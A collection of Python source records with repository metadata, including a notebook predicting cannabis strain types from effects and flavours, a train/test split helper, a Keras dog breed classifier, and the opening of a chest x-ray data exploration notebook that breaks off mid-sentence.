sns.countplot(x=\"Type\",data=strains[strains[\"Rating\"] == 5])\ng.set_xlabel('Species', fontsize=15)\ng.set_ylabel('Frequency', fontsize=15)\ng.set_title(\"Distribuition of Types by Rating 5.0  \", fontsize=20)\n\nprint()\n\n\n# ### Exploring the principal effects and Flavors Related in Rating five strains\n\n# In[ ]:\n\n\nstrains_top = strains[strains[\"Rating\"] == 5]\n\nfig, ax = plt.subplots(2,1, figsize=(12,10))\n\nsns.countplot(x ='Effect_1',data = strains_top,hue=\"Type\",ax=ax[0], palette='hls')\n\nsns.countplot(x ='Flavor_1',data = strains_top,hue=\"Type\",ax=ax[1], palette='hls')\n\nfor ax in fig.axes:\n    plt.sca(ax)\n    plt.xticks(rotation=45)\n\n\n# ### \n# \n# Curious!\n# We can see that in all types, the most related flavors are Sweet and Earthly.\n# Is important to remember that we have alot of another flavors that are related with this Sweet and Earthly tastes.\n# \n# We can also remember that the first cannabis strain was Skunk #1, that have a high earthly and pungent taste.\n# \n# The distribuition total of data set is almost nearly of this values:\n# \n#     hybrid 51.55\n#     indica 29.73\n#     sativa 18.72\n# \n# Now I will Explore the total Effects and Flavors related to each strain\n# \n\n# In[ ]:\n\n\n#Let's create subsets by each type and explore their Flavors and Effects\nhibridas = strains[strains.Type == 'hybrid']\nindicas = strains[strains.Type == 'indica']\nsativas = strains[strains.Type == 'sativa']\n\n\n# In[ ]:\n\n\n#Now we can delete some columns that will not be useful\ndel strains[\"Effects\"]\ndel strains[\"Flavor\"]\n\n\n# In[ ]:\n\n\n#Creating the spliter -- copied by LiamLarsen -- \ndef get_effects(dataframe):\n    ret_dict = {}\n    for list_ef in dataframe.Effects:\n        effects_list = list_ef.split(',')\n        for effect in effects_list:\n            if not effect in ret_dict:\n                ret_dict[effect] = 1\n            else:\n                ret_dict[effect] += 1\n    return ret_dict\n\n\n# ### Sativas effects\n\n# In[ ]:\n\n\n#Creating the counting of effects\nsativa_effects = get_effects(sativas)\n\n#Let see the distribuition of effects by types\nplt.figure(figsize=(10,8))\nsns.barplot(list(sativa_effects.values()), list(sativa_effects.keys()), orient='h')\nplt.xlabel(\"Count\", fontsize=12)\nplt.ylabel(\"Related effects\", fontsize=12)\nplt.title(\"Sativas strain effects distribution\", fontsize=16)\nprint()\n\n\n# ### Indicas effects\n\n# In[ ]:\n\n\n# Couting effects of indicas \nindica_effects = get_effects(indicas)\n\n# Ploting Indica Effects\nplt.figure(figsize=(10,8))\nsns.barplot(list(indica_effects.values()),list(indica_effects.keys()), orient='h')\nplt.xlabel(\"Count\", fontsize=15)\nplt.ylabel(\"Related effects\", fontsize=15)\nplt.title(\"Indica strain effects distribution\", fontsize=20)\nprint()\n\n\n# ### Hibrids flavors\n\n# In[ ]:\n\n\nhibridas_effects = get_effects(hibridas)\n\n# Ploting Hybrid effects\nplt.figure(figsize=(10,8))\nsns.barplot(list(hibridas_effects.values()),list(hibridas_effects.keys()), orient='h')\nplt.xlabel(\"Count\", fontsize=15)\nplt.ylabel(\"Related effects\", fontsize=15)\nplt.title(\"Hibrids strain effects distribution\", fontsize=20)\nprint()\n\n\n# 5. Some observations:\n# \n# Some observations:\n# \n# We can clearly see that Happy, Uplified, Relaxed, Euphoric have a high ranking at all 3 types\n# \n# Its interesting that almost 350 people of 440 in Sativas related Happy and Uplifted Effects\n# \n#     'Happy': 342\n#     'Uplifted': 328\n#     'Euphoric': 276\n#     'Energetic': 268\n# \n# 78% has described Happy to Sativas strains\n# \n# Indicas we have 699 votes and Relaxed with most frequency at distribuition:\n# \n#     'Relaxed': 628\n#     'Happy': 562\n#     'Euphoric': 516\n# \n# 90% has described Relaxed to Indica strains\n# \n# Hybrids We have 1212 votes and distribuition of effects is\n# \n#     'Happy': 967\n#     'Relaxed': 896\n#     'Uplifted': 848\n#     'Euphoric': 843\n# \n# 80% has described Happy and 74% related Relaxed to Hybrids strains\n# Very Interesting!\n# \n# We also need to remember that's possible to vote in more than 1 effect or flavor in each vote.\n# \n\n# ### 6. Exploring general Flavors and Effects:\n# \n# Now, let's check the flavors\n# I will use the same loop to known the most related flavors\n\n# In[ ]:\n\n\n#Creating flavors to cut each flavor by row -- inspired in LiamLarsen --\ndef flavors(df):\n    ret_dict = {}\n    for list_ef in df.Flavor.dropna():\n        flavors_list = list_ef.split(',')\n        for flavor in flavors_list:\n            if not flavor in ret_dict:\n                ret_dict[flavor] = 1\n            else:\n                ret_dict[flavor] += 1\n    return ret_dict\n\n\n# ### Sativas Flavors\n\n# In[ ]:\n\n\n#Runing flavors counts to sativas\nsativa_flavors = flavors(sativas)\n\nplt.figure(figsize=(10,12))\nsns.barplot(list(sativa_flavors.values()),list(sativa_flavors.keys()), orient='h')\nplt.xlabel(\"Count\", fontsize=12)\nplt.ylabel(\"Most related flavors\", fontsize=12)\nplt.title(\"Sativa flavors distribution\", fontsize=16)\nprint()\n\n\n# ### Most frequent flavors in Sativas:\n# Sweet: 207 <br>\n# Earthy: 178<br>\n# Citrus: 143 <br>\n\n# ### Indicas Flavors\n# \n\n# In[ ]:\n\n\nindica_flavors = flavors(indicas)\n\nplt.figure(figsize=(10,12))\nsns.barplot(list(indica_flavors.values()),list(indica_flavors.keys()), orient='h')\nplt.xlabel(\"Count\", fontsize=12)\nplt.ylabel(\"Most related flavors\",fontsize=12)\nplt.title(\"Indica flavors distribution\", fontsize=16)\nprint()\n\n\n# Most frequent values in indicas\n# Earthy: 378 <br>\n# Sweet: 312<br>\n# Pungent: 157<br>\n# Berry: 145 <br>\n\n# ### Hibrids flavors\n\n# In[ ]:\n\n\n#Getting hibridas flavors\nhibridas_flavors = flavors(hibridas)\n\nplt.figure(figsize=(10,12))\nsns.barplot(list(hibridas_flavors.values()),list(hibridas_flavors.keys()), alpha=0.8,orient='h')\nplt.xlabel(\"Count\", fontsize=15)\nplt.ylabel(\"Most related flavors\", fontsize=15)\nplt.title(\"Hibrids flavors distribution\", fontsize=20)\nprint()\n\n\n# The most frequent values in Hybrid type is: <br>\n# Earthy: 549 <br>\n# Sweet: 534<br>\n# Citrus: 301 <br>\n\n# ### Librarys to WordCloud\n# \n\n# In[ ]:\n\n\nfrom wordcloud import WordCloud, STOPWORDS\nimport nltk.tokenize as word_tokenize\nimport re\nfrom nltk.tokenize import word_tokenize\nfrom nltk.corpus import stopwords\nimport string\nimport re\nfrom nltk.stem.porter import *\nfrom nltk.tokenize import sent_tokenize\nfrom sklearn.feature_extraction import stop_words\n\n\n# ### Word Clouds\n\n# In[ ]:\n\n\nstopwords = set(STOPWORDS)\nnewStopWords = ['strain','effect', 'genetic', 'effects','flavor', 'dominant','known','cross'] \nstopwords.update(newStopWords)\n\nwordcloud = WordCloud( background_color='black', stopwords=stopwords, max_words=1500, max_font_size=200, width=1000, height=600, random_state=42, ).generate(\" \".join(strains['Description'].astype(str))) \n\nfig = plt.figure(figsize = (12,12))\nplt.imshow(wordcloud)\nplt.title(\"WORD CLOUD - DESCRIPTION\", fontsize=25)\nplt.axis('off')\nprint()\n\n\n\n# ### Word Cloud Sativas\n\n# In[ ]:\n\n\nstopwords = set(STOPWORDS)\nnewStopWords = ['strain','effect', 'genetic', 'sativa', 'effects', 'aroma','flavor','dominant','known','cross','genetics'] \nstopwords.update(newStopWords)\n\nwordcloud = WordCloud( background_color='white', stopwords=stopwords, max_words=1500, max_font_size=200, width=1000, height=600, random_state=42, ).generate(\" \".join(strains[strains.Type == 'sativa']['Description'].astype(str))) \n\nfig = plt.figure(figsize = (12,12))\nplt.imshow(wordcloud)\nplt.title(\"WORD CLOUD - SATIVAS\", fontsize=25)\nplt.axis('off')\nprint()\n\n\n# ### Word Cloud Indicas\n\n# In[ ]:\n\n\nstopwords = set(STOPWORDS)\nnewStopWords = ['strain','effect', 'genetic', 'indica', 'effects','aroma', 'genetics','flavor','dominant','known','cross'] \nstopwords.update(newStopWords)\n\nwordcloud = WordCloud( background_color='black', stopwords=stopwords, max_words=1500, max_font_size=150, width=1000, height=600, random_state=42, ).generate(\" \".join(strains[strains.Type == 'indica']['Description'].astype(str))) \n\nfig = plt.figure(figsize = (12,12))\nplt.imshow(wordcloud)\nplt.title(\"WORD CLOUD - INDICAS\", fontsize=25)\nplt.axis('off')\nprint()\n\n\n# ### Word Cloud Hybrids\n\n# In[ ]:\n\n\nstopwords = set(STOPWORDS)\nnewStopWords = ['strain','effect', 'genetic', 'hybrid', 'effects', 'aroma', 'genetics', 'flavor', 'genetics','cross','dominant','known'] \nstopwords.update(newStopWords)\n\nwordcloud = WordCloud( background_color='white', stopwords=stopwords, max_words=1500, max_font_size=150, width=1000, height=600, random_state=42, ).generate(\" \".join(strains[strains.Type == 'hybrid']['Description'].astype(str))) \n\nfig = plt.figure(figsize = (12,12))\nplt.imshow(wordcloud)\nplt.title(\"WORD CLOUD - HYBRIDS\", fontsize=25)\nplt.axis('off')\nprint()\n\n\n\n# ### Word Cloud Rating 5 Strains\n\n# In[ ]:\n\n\nstopwords = set(STOPWORDS)\nnewStopWords = ['strain','effect', 'genetic','effects','cross','genetics', 'aroma','consumer','known','dominant'] \nstopwords.update(newStopWords)\n\nwordcloud = WordCloud( background_color='black', stopwords=stopwords, max_words=1500, max_font_size=150, width=1000, height=600, random_state=42, ).generate(\" \".join(strains[strains.Rating == 5]['Description'].astype(str))) \n\nfig = plt.figure(figsize = (12,12))\nplt.imshow(wordcloud)\nplt.title(\"WORD CLOUD - RATING 5\", fontsize=25)\nplt.axis('off')\nprint()\n\n\n\n# ### 7. Preprocessing dataset:\n# \n# Knowing all this...Let's get high!\n# \n# and try to predict the type of strain using flavors, effects and rating?\n\n# In[ ]:\n\n\n# Lets do some transformation in data\n\nprint(strains.head())\n\n\n# In[ ]:\n\n\n#Transformin the Type in numerical \nstrains[\"Type\"] = pd.factorize(strains[\"Type\"])[0]\ndel strains[\"Description\"]\n# Now we have 3 numerical Types\n# 0 - Hybrid\n# 1 - Sativa\n# 2 - Indica\n\n\n# In[ ]:\n\n\n# Creating the dummies variable of Effects and Flavors\n#effect_dummy = strains['Effects'].str.get_dummies(sep=',',)\n#flavor_dummy = strains['Flavor'].str.get_dummies(sep=',')\n\ndummy = pd.get_dummies(strains[['Effect_1','Effect_2','Effect_3','Effect_4','Effect_5','Flavor_1','Flavor_2','Flavor_3']])\n\n\n# In[ ]:\n\n\n#Concatenating the result and droping the used variables \nstrains = pd.concat([strains, dummy], axis=1)\n\nstrains = strains.drop(['Strain','Effect_1','Effect_2','Effect_3','Effect_4','Effect_5','Flavor_1','Flavor_2','Flavor_3'], axis=1)\n\nstrains.shape\n\n\n# ### 8. Importing Sklearn and Modeling:\n\n# In[ ]:\n\n\n#Importing the auxiliar and preprocessing librarys \nfrom sklearn.metrics import accuracy_score, confusion_matrix, classification_report\nfrom sklearn.cross_validation import cross_val_score\nfrom sklearn.preprocessing import LabelEncoder, StandardScaler\nfrom sklearn.pipeline import Pipeline\n\nfrom sklearn.model_selection import train_test_split, KFold, cross_validate\nfrom sklearn.metrics import accuracy_score\n\n#Models\nfrom sklearn.cluster import KMeans\nfrom sklearn.decomposition import PCA\nfrom sklearn.svm import SVC\nfrom sklearn.linear_model import RidgeClassifier, SGDClassifier, LogisticRegression\nfrom sklearn.svm import SVC, LinearSVC\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.tree import DecisionTreeClassifier\nfrom xgboost import XGBClassifier\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.feature_selection import SelectFromModel\nfrom sklearn.ensemble import RandomForestClassifier, GradientBoostingClassifier, ExtraTreesClassifier, BaggingClassifier, VotingClassifier, RandomTreesEmbedding\n\n\n# In[ ]:\n\n\nstrains.head(2)\n\n\n# In[ ]:\n\n\n# setting X and y\nX = strains.drop(\"Type\",1)\ny = strains[\"Type\"]\nfeature_name = X.columns.tolist()\nX = X.astype(np.float64, copy=False)\ny = y.astype(np.float64, copy=False)\n\n\n# In[ ]:\n\n\n#Spliting the variables in train and test \nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.3, random_state=42)\n\nprint(\"X_train Shape: \", X_train.shape)\nprint(\"X_test Shape: \", X_test.shape)\n\n\n# ### Feature Selection\n\n# In[ ]:\n\n\nthresh = 5 * 10**(-3)\nmodel = GradientBoostingClassifier()\nmodel.fit(X_train, y_train)\n#select features using threshold\nselection = SelectFromModel(model, threshold=thresh, prefit=True)\n\nX_important_train = selection.transform(X_train)\nX_important_test = selection.transform(X_test)\n\n\n# In[ ]:\n\n\nprint(\"X_important_train Shape: \", X_important_train.shape)\nprint(\"X_important_test Shape: \", X_important_test.shape)\n\n\n# ### Let's take a look at some models and compare their score\n\n# In[ ]:\n\n\nclfs = []\nseed = 3\n\nclfs.append((\"LogReg\", Pipeline([(\"Scaler\", StandardScaler()), (\"LogReg\", LogisticRegression())]))) \n\nclfs.append((\"XGBClassifier\", Pipeline([(\"Scaler\", StandardScaler()), (\"XGB\", XGBClassifier())]))) \nclfs.append((\"KNN\", Pipeline([(\"Scaler\", StandardScaler()), (\"KNN\", KNeighborsClassifier())]))) \n\nclfs.append((\"DecisionTreeClassifier\", Pipeline([(\"Scaler\", StandardScaler()), (\"DecisionTrees\", DecisionTreeClassifier())]))) \n\nclfs.append((\"RandomForestClassifier\", Pipeline([(\"Scaler\", StandardScaler()), (\"RandomForest\", RandomForestClassifier())]))) \n\nclfs.append((\"GradientBoostingClassifier\", Pipeline([(\"Scaler\", StandardScaler()), (\"GradientBoosting\", GradientBoostingClassifier(max_features=15, n_estimators=150))]))) \n\nclfs.append((\"RidgeClassifier\", Pipeline([(\"Scaler\", StandardScaler()), (\"RidgeClassifier\", RidgeClassifier())]))) \n\nclfs.append((\"BaggingRidgeClassifier\", Pipeline([(\"Scaler\", StandardScaler()), (\"BaggingClassifier\", BaggingClassifier())]))) \n\nclfs.append((\"ExtraTreesClassifier\", Pipeline([(\"Scaler\", StandardScaler()), (\"ExtraTrees\", ExtraTreesClassifier())]))) \n\n#'neg_mean_absolute_error', 'neg_mean_squared_error','r2'\nscoring = 'accuracy'\nn_folds = 7\n\nresults, names  = [], [] \n\nfor name, model  in clfs:\n    kfold = KFold(n_splits=n_folds, random_state=seed)\n    cv_results = cross_val_score(model, X_important_train, y_train, cv= 5, scoring=scoring, n_jobs=-1)    \n    names.append(name)\n    results.append(cv_results)    \n    msg = \"%s: %f (+/- %f)\" % (name, cv_results.mean(),  cv_results.std())\n    print(msg)\n    \n# boxplot algorithm comparison\nfig = plt.figure(figsize=(15,6))\nfig.suptitle('Classifier Algorithm Comparison', fontsize=22)\nax = fig.add_subplot(111)\nsns.boxplot(x=names, y=results)\nax.set_xticklabels(names)\nax.set_xlabel(\"Algorithmn\", fontsize=20)\nax.set_ylabel(\"Accuracy of Models\", fontsize=18)\nax.set_xticklabels(ax.get_xticklabels(),rotation=45)\nprint()\n\n\n# ### I will select the top 3 models and set some hyperParameters to try increase their prediction power.\n# - The top 3 will be:\n#     - GradientBoostingClassifier\n#     - XGBClassifier\n#     - RidgeClassifier\n# \n# \n\n# In[ ]:\n\n\nfrom sklearn.grid_search import GridSearchCV\n\nparams_ridge = {'alpha':[0.001, 0.1, 1.0], 'tol':[0.1, 0.01, 0.001], 'solver':['auto', 'svd', 'cholesky','lsqr', 'sparse_cg', 'sag', 'saga']} \n\nridge = RidgeClassifier()\n    \nRidge_model = GridSearchCV(estimator = ridge, param_grid=params_ridge, verbose=2, n_jobs = -1)\n\n# Fit the random search model\nRidge_model.fit(X_important_train, y_train)\n\n\n# In[ ]:\n\n\n# Printing the Training Score\nprint(\"Training score data: \")\nprint(Ridge_model.score(X_important_train, y_train) )\nprint(\"Ridge Best Parameters: \")\nprint(Ridge_model.best_params_ )\n\n\n# - We got a nice improvement in our model compared with the first model without HyperParameters.\n\n# Now, let's Predict with this model\n\n# In[ ]:\n\n\n# Predicting with X_test\nRidge_model = RidgeClassifier(solver='sparse_cg', tol=0.001, alpha=1.0)\nRidge_model.fit(X_important_train, y_train)\ny_pred = Ridge_model.predict(X_important_test)\n\n# Print the results\nprint(accuracy_score(y_test,y_pred))\nprint(confusion_matrix(y_test, y_pred))\nprint(classification_report(y_test, y_pred))\n\n\n# ### Now, I will evaluate the best params to XGBoost model\n\n# In[ ]:\n\n\nparam_xgb = { 'n_estimators':[100,150,200], 'max_depth':[3,4,5,6], 'min_child_weight':[2,3,4,5], 'colsample_bytree':[.1, 0.2, 0.3,0.6,0.7,0.8], 'colsample_bylevel':[0.2,0.6,0.8] } \n\n\n# In[ ]:\n\n\nxgb = XGBClassifier()\n\nxgb_model = GridSearchCV(estimator = xgb, param_grid = param_xgb, scoring='accuracy', cv=2, verbose = 1) \n\nxgb_model.fit(X_important_train, y_train)\n\n\n# In[ ]:\n\n\nprint(\"Results of the GridSearchCV of XGB: \")\nprint(xgb_model.best_params_)\nprint(xgb_model.score(X_important_train, y_train))\n\n\n# In[ ]:\n\n\n# let's set the best parameters to our model and fit again\nxgb = XGBClassifier(colsample_bylevel=0.6, colsample_bytree=0.1, objective='multi', max_depth= 4, min_child_weight= 2, n_estimators= 200)\nxgb.fit(X_important_train, y_train)\n\n# Predicting with X_test\ny_pred = xgb.predict(X_important_test)\n\n# Print the results\nprint(\"METRICS \\nAccuracy Score: \", accuracy_score(y_test,y_pred))\nprint(confusion_matrix(y_test, y_pred))\nprint(classification_report(y_test, y_pred))\n\n\n# ### Now let's fit and predict with Gradient Boosting Classifier model\n\n# In[ ]:\n\n\nparam_gb = { 'n_estimators':[50, 125, 150], 'max_depth':[2,3,4], 'max_features':[3,4,5,6], 'learning_rate':[0.0001, 0.001, 0.01,0.1,1]  } \n\ngb = GradientBoostingClassifier()\n\ngb_model = GridSearchCV(estimator = gb, param_grid = param_gb, scoring='accuracy', cv=5, verbose = 1) \n\ngb_model.fit(X_important_train, y_train)\n\n\n# In[ ]:\n\n\nprint(\"Results of the GridSearchCV of Gradient Boosting Classifier: \")\nprint(gb_model.best_params_)\nprint(gb_model.score(X_important_train, y_train))\n\n\n# In[ ]:\n\n\ngb = GradientBoostingClassifier(learning_rate=.1, max_depth= 3, max_features=6, n_estimators= 150)\ngb.fit(X_important_train, y_train)\n\n# Predicting with X_test\ny_pred = gb.predict(X_important_test)\n\n# Print the results\nprint(\"METRICS \\nAccuracy Score: \", accuracy_score(y_test,y_pred))\nprint(confusion_matrix(y_test, y_pred))\nprint(classification_report(y_test, y_pred))\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "4e817b62dfb66385af28ab161e7b614d7a47c571", "size": 23894, "ext": "py", "lang": "Python", "max_stars_repo_path": "relancer-exp/original_notebooks/kingburrito666_cannabis-strains/predict-cannabis-species-through-pipeline.py", "max_stars_repo_name": "Chenguang-Zhu/relancer", "max_stars_repo_head_hexsha": "bf1a175b77b7da4cff12fbc5de17dd55246d264d", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-03-05T22:27:49.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-05T22:27:49.000Z", "max_issues_repo_path": "relancer-exp/original_notebooks/kingburrito666_cannabis-strains/predict-cannabis-species-through-pipeline.py", "max_issues_repo_name": "Chenguang-Zhu/relancer", "max_issues_repo_head_hexsha": "bf1a175b77b7da4cff12fbc5de17dd55246d264d", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "relancer-exp/original_notebooks/kingburrito666_cannabis-strains/predict-cannabis-species-through-pipeline.py", "max_forks_repo_name": "Chenguang-Zhu/relancer", "max_forks_repo_head_hexsha": "bf1a175b77b7da4cff12fbc5de17dd55246d264d", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 25.2312565998, "max_line_length": 229, "alphanum_fraction": 0.7128149326, "include": true, "reason": "import numpy", "num_tokens": 6617, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4649015713733885, "lm_q2_score": 0.16885694586780495, "lm_q1q2_score": 0.07850185947125372}}
{"text": "import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef split_train_test(data, test_ratio):\n    np.random.seed(42)\n    shuffled_indices = np.random.permutation(len(data))\n    test_set_size = int(len(data) * test_ratio)\n    test_indices = shuffled_indices[:test_set_size]\n    train_indices = shuffled_indices[test_set_size:]\n    return data.iloc[train_indices], data.iloc[test_indices]\n\ndef display_scores(scores):\n    print(\"mean:\", scores.mean())\n    print(\"standard deviation:\", scores.std())\n", "meta": {"hexsha": "278c1b2b3df873f6cdce8e03e4a7c1f23edd2d10", "size": 515, "ext": "py", "lang": "Python", "max_stars_repo_path": "ML_milestones-master/housing/someFunctions.py", "max_stars_repo_name": "aissam-out/Deep-Learning-101", "max_stars_repo_head_hexsha": "f2bc21e5f5bbce7fbe254864661abd41dec3e976", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-08-07T14:20:52.000Z", "max_stars_repo_stars_event_max_datetime": "2021-08-07T14:20:52.000Z", "max_issues_repo_path": "ML_milestones-master/housing/someFunctions.py", "max_issues_repo_name": "aissam-out/Deep-Learning-101", "max_issues_repo_head_hexsha": "f2bc21e5f5bbce7fbe254864661abd41dec3e976", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "ML_milestones-master/housing/someFunctions.py", "max_forks_repo_name": "aissam-out/Deep-Learning-101", "max_forks_repo_head_hexsha": "f2bc21e5f5bbce7fbe254864661abd41dec3e976", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.1875, "max_line_length": 60, "alphanum_fraction": 0.7436893204, "include": true, "reason": "import numpy", "num_tokens": 111, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.476579651063676, "lm_q2_score": 0.16451645675203383, "lm_q1q2_score": 0.07840519555311663}}
{"text": "import cv2\nimport numpy as np\nfrom keras.models import load_model\nfrom keras.applications import mobilenet\nfrom glob import glob\n\n\nclass DogBreedClassifier:\n\n    def __init__(self):\n        # load start net (the model runs at start of program)\n        self.start_model = load_model('start_net.h5', custom_objects={\n            'relu6': mobilenet.relu6,\n            'DepthwiseConv2D': mobilenet.DepthwiseConv2D})\n        # load saved trained model\n        self.model = load_model('mobilenet.h5', custom_objects={\n            'relu6': mobilenet.relu6,\n            'DepthwiseConv2D': mobilenet.DepthwiseConv2D})\n        # load dog classes\n        self.breeds = [item[20:-1] for item in sorted(glob(\"dogImages/train/*/\"))]\n        # load pre_classify classes for dog, cat, human, neither\n        self.classes = [name[21:-1] for name in sorted(glob(\"custom_images/images/*/\"))]\n\n    def run(self, image_path: str):\n        \"\"\"\n        First check to see what type of object is in image.\n        If human, dog, or cat detected the predict dog breed.\n        Print messages.\n        :param image_path: String\n        :return: None\n        \"\"\"\n        img = self.get_image(image_path)\n        preclass, proceed = self.pre_classify(img)\n        print(preclass)\n        if proceed:\n            pred_dict = self.predict(img)\n            print(self.decide_breed(pred_dict))\n        return None\n\n    @staticmethod\n    def get_image(image_path: str):\n        img = cv2.imread(image_path)\n        assert img is not None, \"Check image path, no image found.\"\n        img = img / 1.  # Convert to float to avoid error, keras bug\n        return img\n\n    def pre_classify(self, img) -> (str, bool):\n        \"\"\"\n        Take location of image and return if it's a human, cat, dog, or neither.\n        Example output:\n        This looks like a human, I'll pretend it's a dog.\n        This looks like a cat, I'll pretend it's a dog.\n        I don't see a dog, cat, or a human in this photo... are you trying to trick me?\n        :param img:\n        :return:\n        \"\"\"\n        # Convert image to 224 * 224\n        img = cv2.resize(img, dsize=(224, 224))\n        # Preprocess data\n        img = np.expand_dims(img, axis=0)\n        # Preprocess input for mobilenet\n        img = mobilenet.preprocess_input(img)\n        # generate predictions\n        prediction = self.start_model.predict(img)\n        # Class\n        pred_class = self.classes[np.argmax(prediction)]\n        # Response dictionary\n        response_dict = dict([(\"dog\", (\"This looks like a dog, let me guess the breed.\", True)),\n                              (\"cat\", (\"This looks like a cat, I'll pretend it's a dog.\", True)),\n                              (\"person\", (\"This looks like a person, I'll pretend it's a dog.\", True)),\n                              (\"other\", (\"I don't see a dog, cat, or a human in this photo... \"\n                                         \"are you trying to trick me?\", False))])\n        return response_dict[pred_class]\n\n    def predict(self, img) -> dict:\n        \"\"\"\n        Generate prediction dictionary with top 3 predicted dog breeds\n        :param img:\n        :return:\n        \"\"\"\n        # Convert image to 224 * 224\n        img = cv2.resize(img, dsize=(224, 224))\n        # Preprocess data\n        img = np.expand_dims(img, axis=0)\n        # Preprocess input for mobilenet\n        img = mobilenet.preprocess_input(img)\n        # generate top 3 predictions\n        prediction = self.model.predict(img)[0]\n        # print(np.argmax(prediction))\n        top_3 = prediction.argsort()[-3:][::-1]\n        top_3_pred_values = [prediction[i] for i in top_3]\n        # List top 3 breeds in order\n        prediction_dict = dict(zip([self.breeds[i] for i in top_3], top_3_pred_values))\n\n        return prediction_dict\n\n    @staticmethod\n    def decide_breed(pred: dict) -> str:\n        \"\"\"\n        Allow for mixed breed predictions.\n        if 2nd highest > .25 and 1st highest less than .6 then mixed breed (2)\n        if top 2 < .6 combined and top 3 > .75 then 3 breed mix\n        # I think that is a Yorkie purebred\n        # I think that is a Yorkie and Japanese Chin mix\n        # I think that is a Yorkie, Japanese Chin, and Lab mix\n        :param pred: Prediction dict from predict method\n        :return: String to display as prediction output\n        \"\"\"\n        for k, v in pred.items():\n            pred[k.replace(\"_\", \" \")] = pred.pop(k)\n\n        top1 = sorted(pred, key=lambda k: pred[k])[-1]\n        top2 = sorted(pred, key=lambda k: pred[k])[-2]\n        top3 = sorted(pred, key=lambda k: pred[k])[-3]\n\n        if pred[top1] >= .6:\n            breed = \"I think this is a %s purebred.\" % top1\n        elif (pred[top2] > .25) & (pred[top1] < .6):\n            breed = \"I think this is a %s and %s mix.\" % (top1, top2)\n        elif (pred[top1] + pred[top2] < .6) & (sum(pred.values()) > .75):\n            breed = \"I think this is a %s, %s, and %s mix.\" % (top1, top2, top3)\n        else:\n            breed = \"I'm honestly not that sure. \\n\" \\\n                    \"Could be a %s, could be a %s, could be a %s. \\n\" \\\n                    \"Or maybe it's a mix of all those and something else.\" \\\n                    % (top1, top2, top3)\n        return breed\n", "meta": {"hexsha": "41b0975f49b82d086d014c197cadcdb173e568e1", "size": 5234, "ext": "py", "lang": "Python", "max_stars_repo_path": "dog_breed_classifier.py", "max_stars_repo_name": "ChrisJFarr/DogBreedClassifier", "max_stars_repo_head_hexsha": "698bd341c5b6b28019b11d33b18d3e7fd9033309", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "dog_breed_classifier.py", "max_issues_repo_name": "ChrisJFarr/DogBreedClassifier", "max_issues_repo_head_hexsha": "698bd341c5b6b28019b11d33b18d3e7fd9033309", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "dog_breed_classifier.py", "max_forks_repo_name": "ChrisJFarr/DogBreedClassifier", "max_forks_repo_head_hexsha": "698bd341c5b6b28019b11d33b18d3e7fd9033309", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 40.890625, "max_line_length": 103, "alphanum_fraction": 0.5724111578, "include": true, "reason": "import numpy", "num_tokens": 1326, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5428632831725052, "lm_q2_score": 0.14414884751767365, "lm_q1q2_score": 0.07825311662897715}}
{"text": "\n# coding: utf-8\n\n# ## AI for Medicine Course 1 Week 1 lecture exercises\n\n# # Data Exploration\n# In the first assignment of this course, you will work with chest x-ray images taken from the public [ChestX-ray8 dataset](https://arxiv.org/abs/1705.02315). In this notebook, you'll get a chance to explore this dataset and familiarize yourself with some of the techniques you'll use in the first graded assignment.\n# \n# <img src=\"xray-image.png\" alt=\"U-net Image\" width=\"300\" align=\"middle\"/>\n# \n# The first step before jumping into writing code for any machine learning project is to explore your data. A standard Python package for analyzing and manipulating data is [pandas](https://pandas.pydata.org/docs/#). \n# \n# With the next two code cells, you'll import `pandas` and a package called `numpy` for numerical manipulation, then use `pandas` to read a csv file into a dataframe and print out the first few rows of data.\n\n# In[1]:\n\n\n# Import necessary packages\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nget_ipython().run_line_magic('matplotlib', 'inline')\nimport os\nimport seaborn as sns\nsns.set()\n\n\n# In[2]:\n\n\n# Read csv file containing training datadata\ntrain_df = pd.read_csv(\"nih/train-small.csv\")\n# Print first 5 rows\nprint(f'There are {train_df.shape[0]} rows and {train_df.shape[1]} columns in this data frame')\ntrain_df.head()\n\n\n# Have a look at the various columns in this csv file. The file contains the names of chest x-ray images (\"Image\" column) and the columns filled with ones and zeros identify which diagnoses were given based on each x-ray image. \n\n# ### Data types and null values check\n# Run the next cell to explore the data types present in each column and whether any null values exist in the data.\n\n# In[3]:\n\n\n# Look at the data type of each column and whether null values are present\ntrain_df.info()\n\n\n# ### Unique IDs check\n# \"PatientId\" has an identification number for each patient. One thing you'd like to know about a medical dataset like this is if you're looking at repeated data for certain patients or whether each image represents 